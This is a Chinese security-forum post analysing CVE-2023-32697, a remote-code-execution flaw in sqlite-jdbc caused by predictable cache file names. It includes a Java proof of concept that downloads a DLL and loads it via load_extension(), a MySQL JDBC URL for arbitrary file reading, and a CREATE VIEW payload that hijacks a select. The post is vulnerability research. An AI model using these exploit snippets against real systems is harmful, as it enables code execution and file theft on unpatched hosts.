安全矩阵

 找回密码
 立即注册
搜索
查看: 995|回复: 0

CVE-2023-32697——sqlite jdbc RCE

[复制链接]

145

主题

192

帖子

817

积分

高级会员

Rank: 4

积分
817
发表于 2023-6-9 17:42:20 | 显示全部楼层 |阅读模式
作为一直关注jdbc漏洞的人,看到这个漏洞当然要去研究下。
首先简单说明下jdbc漏洞是什么,其实就是控制了一个jdbc链接后造成的危害,具体可以看以前的这篇文章。
https://mp.weixin.qq.com/s/pYWbpyW8DHXGvqsJurbc6A
比如最常用的mysql任意文件读取。
jdbc:mysql://127.0.0.1:3306/test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&maxAllowedPacket=655360&user=linux_passwd

sqlite的jdbc已经有了一个SSRF和Magellan溢出,这次又是什么呢?
https://github.com/xerial/sqlite ... GHSA-6phf-6h5g-97j2
官方直接说是个RCE,3.6.14.1-3.41.2.1为漏洞版本,安全版本为3.41.2.2
https://github.com/xerial/sqlite-jdbc/releases/tag/3.41.2.2
一开始,我以为像所有的jdbc漏洞一样,sqlite的某些参数可以达到RCE的结果,于是去搜索了sqlite可以有哪些参数。
其中主要是由PRAGMA命令控制的一些环境变量。
https://www.sqlite.org/pragma.html

在jdbc中,控制cache_size=2000,也就相当于执行了对应的PRAGMA的SQL语句。
jdbc:sqlite:file:default.db?cache_size=2000PRAGMA cache_size = 2000在org.sqlite.SQLiteConfig.apply()中,我们可以看到具体是怎么转换的。
除了这些PRAGMA之外,在org.sqlite.SQLiteConfig之中,我们能找到更多的jdbc可控参数。比如DATE相关参数,这些不是由PRAGMA控制的,因此官网上找不到相关信息。

其中有存在漏洞的参数吗?像mysql控制反序列化,或者PostgreSQL控制log/class一样。答案是几乎没有,你甚至都很难找到一个可以传任意string的参数。
其中很大一部分只能传boolean或者int,很大一部分是enum类,只能传内置的几个string。唯三能控制任意string的参数是date_string_format/temp_store_directory/password。password不提,date_string_format仅仅是对时间格式的解析,temp_store_directory则可以利用报错,来探测目录。

唯一跟RCE有关系的,是load_extension()这个加载dll的开关,可以通过jdbc控制。

那么漏洞到底是什么呢?还得从更新文件里面找,我一开始是对比文件进行寻找的,结果完全看不出来哪儿有问题,结果答案就在这个不起眼的fix中。


结果仅仅是把缓存文件的hashcode()换成了randomUUID(),也就是说,让缓存文件名不可预测了。这个缓存文件,即为远程加载数据库文件的缓存文件。

也就是说,这个漏洞本质上只能做到控制文件内容的文件写,结合sqlite的一些特性,那么整个漏洞的利用流程就可以推测出来了,实际就是进行两次外部数据库加载,一次随便一个db,一次dll,然后利用jdbc+load_extension进行RCE。
package test;import java.io.File;
import java.net.URL;
import java.sql.Connection;import java.sql.DriverManager;
import java.sql.Statement;public class Test {   
public static void main(String[] args) throws Exception{        Class.forName("org.sqlite.JDBC");               
String url1 = "http://127.0.0.1:81/default.db";        
String url2 = "http://127.0.0.1:81/1.dll";        
String tmp = "C:\\Users\\administrator\\AppData\\Local\\Temp\\sqlite-jdbc-tmp-";        
String db = tmp + new URL(url1).hashCode() + ".db";        
String dll = tmp + new URL(url2).hashCode() + ".db";        
new File(db).delete();      
new File(dll).delete();               
DriverManager.getConnection("jdbc:sqlite::resource:"+url1).close();        
DriverManager.getConnection("jdbc:sqlite::resource:"+url2).close();               
Connection conn = DriverManager.getConnection("jdbc:sqlite:file:"+db+"?enable_load_extension=true");        
Statement stmt = conn.createStatement();               
String sql = "select load_extension('"+dll+"','dllmain')";        
stmt.execute(sql);   
  }
}
具体效果如下

但这种控制了jdbc,还要控制sql语句的环境显然并不理想。如果jdbc就可以执行load_extension()就好了。但是sqlite无法通过jdbc进行多语句或者PRAGMA的注入,所以看起来整体似乎是个非常鸡肋的漏洞。

这篇文章中提到过一种利用CREATE VIEW来劫持select的方法,执行CREATE VIEW之后,db文件会插入CREATE VIEW语句(DDL),因此形成了一个恶意数据库文件。如果有条件先用jdbc加载这个文件,再执行某个固定无法更改的select,就可以被劫持成load_extension()。
https://research.checkpoint.com/ ... -from-using-sqlite/

CREATE VIEW test(a) as select load_extension('calc.dll','dllmain')select * from test

但这也被视为漏洞,在高版本会出现上面这个提示,用sqlite-jdbc-3.21.0.1.jar测试成功。

然而在探索PRAGMA的过程中,我们还真发现了一个可以仅靠jdbc就能触发的select,那就是password。


可能出于填充密码之后测试SQL语句是否能用的思路,高版本和低版本都默认执行了不同的select。
select 1 from sqlite_schema
select 1 from sqlite_master
不过很遗憾的是,它们都不是实际的表,而是系统自带的虚拟表,用于新建表的索引,无法通过CREATE VIEW劫持,即使手工修改数据库文件,插入CREATE VIEW也一样。

所以最后研究下来似乎还是个需要控制SQL的鸡肋漏洞,当然,如果有人能够实现jdbc的参数SQL注入,或者突破sqlite_xxxx的劫持限制,也许就真正成为一个完整的利用链了。


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 15:54 , Processed in 0.013148 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表